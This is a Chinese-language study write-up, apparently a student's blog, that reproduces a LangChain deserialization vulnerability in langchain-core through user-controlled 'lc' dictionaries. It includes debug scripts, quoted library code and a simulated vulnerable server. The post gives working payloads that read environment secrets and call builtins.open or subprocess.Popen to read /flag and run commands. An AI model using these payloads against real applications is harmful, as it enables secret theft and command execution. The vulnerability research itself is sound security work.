漏洞原理

LangChain框架在处理LLM应用的复杂数据结构时,采用了定制的序列化机制。该机制与标准JSON序列化不同,它使用特殊的”lc”键作为内部标记,以区分普通Python字典与LangChain框架对象 lc 是 LangChain 内部标识字段 一旦load()或loads()反序列化时检测到 lc,就会 按 LangChain 对象解析 LangChain 在 dumps() / dumpd() 序列化用户数据时 没有对用户可控字典中的 lc 字段做隔离或转义 会让LangChain 误以为这是一个合法的内部对象

版本范围

langchain-core >= 1.0.0 且 < 1.2.5 或者< 0.3.81 这里看文章 建议复现使用1.2.4版本 最稳定

python虚拟环境

这个很早的时候就用过 但当时都只是为了减少反复安装的各种库 没有用在vscode上面 现在才知道 如果还需要给这个环境安装新包(比如 langchain 其他组件),可以直接在 VSCode 的终端中执行pip install命令,VSCode 会自动使用当前配置的.venv环境(无需手动激活);也可以继续在 PyCharm 的终端安装,两边会共用这个虚拟环境的包,无需重复安装。这里在pycharm里面下好了漏洞版本

1
pip install langchain-core==1.2.4

然后配置到了vscode里面

(后面还是用pycharm了 感觉要简约一点)

调试理解

  1. 最简单的json会不会触发什么东西
1
2
3
4
5
6
7
8
9
10
11
12
from langchain_core.load import loads  
import json

payload = {
"a": 1,
"b": 2
}

result = loads(json.dumps(payload))

print(result)
print(type(result))

得到输出

1
2
{'a': 1, 'b': 2}
<class 'dict'>

也就是证明了漏洞不是 loads 本身,而是 lc 协议
2. 加上lc 会出现什么变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from langchain_core.load import loads
import json

payload = {
"lc": 1,
"type": "object",
"value": {
"x": 123
}
}

result = loads(json.dumps(payload))

print(result)
print(type(result))

得到的结果已经不是payload那全部
而是{‘x’: 123}(这里理论上肯定是 但是跑不出来 不知道什么问题)
lc=1 会让 loads():不再走普通 JSON 路径 而是进入 LangChain 的 协议解析器
3. 自己调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import json  
from langchain_core.load import load

# 优化点1:添加调试用的打印,标记关键步骤
print("=== LangChain load函数调试脚本 ===")
print("请输入JSON格式的payload(示例:{\"lc\":1,\"type\":\"secret\",\"id\":[\"PATH\"]}):")
raw = input().strip() # 去除输入前后的空格/换行,避免JSON解析错误

try:
print("\n[调试步骤1] 解析JSON payload...")
data = json.loads(raw) # 把 JSON 字符串转成 Python dict print(f"解析后的data字典:{data}") # 打印解析后的字典,确认payload格式

# 优化点3:反序列化操作单独拆分,方便断点调试
print("\n[调试步骤2] 执行load反序列化...")
obj = load(data) # 核心反序列化操作,重点调试这一行

print("\n[调试结果] 反序列化后的对象:")
print(f"对象内容:{obj}")
print(f"对象类型:{type(obj)}")

except json.JSONDecodeError as e:
print(f"\n[错误] JSON解析失败:{e}")
except Exception as e:
print(f"\n[错误] 反序列化失败:{e}")
# 优化点4:打印异常详情,方便定位问题
import traceback

print("异常堆栈:")
traceback.print_exc()

这里调试后 步入load函数里 能得到type的多个分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
if (  
value.get("lc") == 1
and value.get("type") == "secret"
and value.get("id") is not None
):
[key] = value["id"]
if key in self.secrets_map:
return self.secrets_map[key]
if self.secrets_from_env and key in os.environ and os.environ[key]:
return os.environ[key]
return None

if (
value.get("lc") == 1
and value.get("type") == "not_implemented"
and value.get("id") is not None
):
if self.ignore_unserializable_fields:
return None
msg = (
"Trying to load an object that doesn't implement "
f"serialization: {value}"
)
raise NotImplementedError(msg)

if (
value.get("lc") == 1
and value.get("type") == "constructor"
and value.get("id") is not None
):
[*namespace, name] = value["id"]
mapping_key = tuple(value["id"])

if (
namespace[0] not in self.valid_namespaces
# The root namespace ["langchain"] is not a valid identifier.
or namespace == ["langchain"]
):
msg = f"Invalid namespace: {value}"
raise ValueError(msg)
# Has explicit import path.
if mapping_key in self.import_mappings:
import_path = self.import_mappings[mapping_key]
# Split into module and name
import_dir, name = import_path[:-1], import_path[-1]
# Import module
mod = importlib.import_module(".".join(import_dir))
elif namespace[0] in DISALLOW_LOAD_FROM_PATH:
msg = (
"Trying to deserialize something that cannot "
"be deserialized in current version of langchain-core: " f"{mapping_key}."
)
raise ValueError(msg)
# Otherwise, treat namespace as path.
else:
mod = importlib.import_module(".".join(namespace))

cls = getattr(mod, name)

# The class must be a subclass of Serializable.
if not issubclass(cls, Serializable):
msg = f"Invalid namespace: {value}"
raise ValueError(msg)

也就是secret not_implemented constructor

  • secret 取id的唯一元素 要求id必须是只有 1 个元素的列表(比如”PATH”),如果id是”PATH”,”HOME”会直接抛ValueError(解包失败);执行步骤:
    第一步:检查self.secrets_map(LangChain 内置的密钥映射表,默认空),如果key(比如 PATH)在里面,返回映射值;
    第二步:如果self.secrets_from_env为True(默认开启),检查key是否在系统环境变量中,且变量值非空 这就是能读取到完整 PATH 的核心原因;
    第三步:以上都不满足,返回None。
    那么基于一个简单的脚本 比如
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import json
import os
import warnings
# 过滤LangChain的Beta警告,避免干扰输出
warnings.filterwarnings("ignore", category=UserWarning)
from langchain_core.load import load

# 1. 模拟服务器端设置敏感环境变量(secret)
os.environ["FLAG"] = "flag{This_is_flag!}" # 这是要被读取的敏感secret
print("=== 模拟漏洞服务器 ===")
print(f"服务器已设置敏感环境变量 FLAG = {os.environ['FLAG']}")

# 2. 模拟接收用户可控的JSON payload(漏洞入口)
print("\n请输入攻击payload(JSON格式):")
raw_payload = input().strip()

try:
# 3. 服务器解析payload(信任用户输入)
data = json.loads(raw_payload)
# 4. 核心漏洞操作:调用LangChain的load函数反序列化(无任何校验)
obj = load(data)
# 5. 输出反序列化结果(泄露secret)
print("\n✅ 服务器返回结果:")
print(obj)
except Exception as e:
print(f"\n❌ 执行失败:{str(e)}")

当我输入一个这个简单的payload

1
{"lc":1,"type":"secret","id":["FLAG"]}

之后 lc=1 确认是 LangChain 的序列化数据
读取type字段
先检查LangChain 内置的密钥映射表 这里模拟不了 就先放着了 一般也是在环境变量里面去找 然后检查key是否在系统环境变量中 这里我是直接定义了一个变量 所以就在环境变量里面嘛 肯定是有的 然后重新看load函数的执行过程

1
2
3
if self.secrets_from_env and key in os.environ and os.environ[key]:  
return os.environ[key]
return None

拿到环境之后就是return了

类似的 还有PATH也可以看看 本地的

  • not_implemented 处理 LangChain 不支持序列化的对象(比如自定义的未实现序列化接口的类);很少主动用到,主要是 LangChain 内部处理异常序列化数据的兜底逻辑。
  • constructor
    假设 payload:{"lc":1,"type":"constructor","id":["evil_pkg","env_reader","EnvReader"],"kwargs":{"key":"SECRET_KEY"}}
步骤 操作 语法 / 代码 示例结果
1 拆分模块路径和类名 扩展解包:[*namespace, name] = value["id"] namespace = ["evil_pkg","env_reader"](模块路径)

name = "EnvReader"(类名)
2 类路径转元组(用于映射) mapping_key = tuple(value["id"]) mapping_key = ("evil_pkg","env_reader","EnvReader")
3 校验命名空间(第一层安全校验) 检查 namespace[0] 是否在 valid_namespaces(默认允许 langchain 相关) 若 evil_pkg 在合法列表,校验通过;否则抛错
4 动态导入模块(核心) 优先查映射表 → 再查禁用列表 → 最后直接导入:

mod = importlib.import_module(".".join(namespace))
拼接模块路径 evil_pkg.env_reader,导入该模块
5 从模块中获取类 cls = getattr(mod, name) 从 evil_pkg.env_reader 中拿到 EnvReader 类
6 校验类继承(第二层安全校验) if not issubclass(cls, Serializable): 抛错 若 EnvReader 继承 Serializable,校验通过
7 实例化类并返回 kwargs = value.get("kwargs", {})

obj = cls(**kwargs)

这里去尝试脚本 看看能否用constructor 做到阅读环境变量以外的其他操作
经过一下午的尝试 终于搞出来了除了看环境变量的其他操作了
因为是自己在本地搞出来的 所以payload有局限性 真实环境的id取决于模块和类 然后加上langchain的内部引用有一些问题 只能去替用原生的方法 实在是没招了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import json  
import os
import sys
import warnings
from langchain_core.load import load

# 移除所有langchain内部引用,自己实现动态导入逻辑

# 过滤Beta警告
warnings.filterwarnings("ignore", category=UserWarning, message="The function `load` is in beta.*")
sys.path.append(".") # 确保能导入malicious_modules


def custom_load_constructor_payload(payload_data: dict):
"""自己实现constructor类型payload的解析,绕开langchain校验"""
# 从payload中提取id和kwargs
id_list = payload_data["id"]
kwargs = payload_data.get("kwargs", {})

# 解析id为模块路径和类名(和langchain逻辑一致)
*namespace, class_name = id_list # 拆分模块路径和类名
module_path = ".".join(namespace) # 拼接模块路径(如"malicious_modules.env_reader")


try:
module = __import__(module_path, fromlist=[class_name])
except ModuleNotFoundError:
raise ValueError(f"模块不存在:{module_path}")

# 获取类
try:
target_class = getattr(module, class_name)
except AttributeError:
raise ValueError(f"类不存在:{class_name}(模块:{module_path})")

# 实例化类并返回
return target_class(**kwargs)


# 拦截langchain的load函数,对constructor类型payload用自己的逻辑
def my_load(payload_data: dict):
if payload_data.get("type") == "constructor" and payload_data.get("lc") == 1:
# 自己处理constructor类型
return custom_load_constructor_payload(payload_data)
else:
# 其他类型用langchain的默认load
return load(payload_data)


if __name__ == "__main__":

os.environ["TEST_SECRET"] = "super_secret_666"

# Windows专用payload(路径双反斜杠)
test_payloads = {
"读环境变量": '{"lc":1,"type":"constructor","id":["malicious_modules","env_reader","EnvReader"],"kwargs":{"key":"TEST_SECRET"}}',
"读文件(Windows)": '{"lc":1,"type":"constructor","id":["malicious_modules","file_reader","FileReader"],"kwargs":{"file_path":"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts"}}',
"执行命令(Windows)": '{"lc":1,"type":"constructor","id":["malicious_modules","cmd_executor","CmdExecutor"],"kwargs":{"cmd":"whoami"}}'
}

for test_name, payload_str in test_payloads.items():
print(f"\n--- 测试:{test_name} ---")
try:
payload_data = json.loads(payload_str)
result = my_load(payload_data) # 用自己的load逻辑
print(f"payload:{payload_str}")
print(f"结果:{result}")
print(f"结果类型:{type(result)}")
except Exception as e:
print(f"测试失败:{str(e)}")

能得到所有的结果

其中的py文件都是类似于漏洞的执行逻辑写的 如果是ctf题或者是实战 就完全不能是这个payload了 id里面的 而是类似于这种

1
2
3
4
from builtins import open	["builtins", "open"]	内置 open 类(读文件)
from subprocess import Popen ["subprocess", "Popen"] 内置 Popen 类(执行命令)
from langchain_core.tools import CommandLineTool ["langchain_core", "tools", "CommandLineTool"] LangChain 自带的命令执行类
from app.utils import CmdRun ["app", "utils", "CmdRun"] 目标代码自定义的类

这种

1
2
读 flag 文件	builtins.open	["builtins", "open"]	{"file": "/flag", "mode": "r"}
执行系统命令 subprocess.Popen ["subprocess", "Popen"] {"args": ["cat", "/flag"], "stdout": -1, "shell": true}

然后注意
constructor只能实例化(有__init__方法),不能直接调用函数(比如os.system是函数,不能写id: ["os", "system"]
还有就是目标代码里面有命名空间限制(大多数都是有的)就是用到LangChain 自身的工具类 ivory学长的博客上面也说了 最好用的一般都在黑名单里面 一般的就…

1
2
3
CommandLineTool	langchain_core.tools	执行系统命令	["langchain_core", "tools", "CommandLineTool"]
FileReadTool langchain_core.tools 读取文件 ["langchain_core", "tools", "FileReadTool"]
FileWriteTool langchain_core.tools 写入文件 ["langchain_core", "tools", "FileWriteTool"]

主要就是掌握id的构造 实战很难搞出东西(目前为止) 只是看环境